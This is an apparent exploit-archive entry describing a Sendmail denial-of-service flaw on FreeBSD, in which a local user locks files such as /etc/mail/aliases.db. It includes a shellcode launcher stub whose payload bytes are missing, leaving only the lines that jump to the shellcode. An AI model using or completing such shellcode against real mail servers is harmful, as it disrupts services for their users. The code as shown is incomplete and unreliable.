Sendmail is a MTA for Unix and Linux variants.
There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation.
FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
Written by zillion (at http://www.safemode.org && http://www.snosoft.com)
More info: http://www.sendmail.org/LockingAdvisory.txt
char shellcode =
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;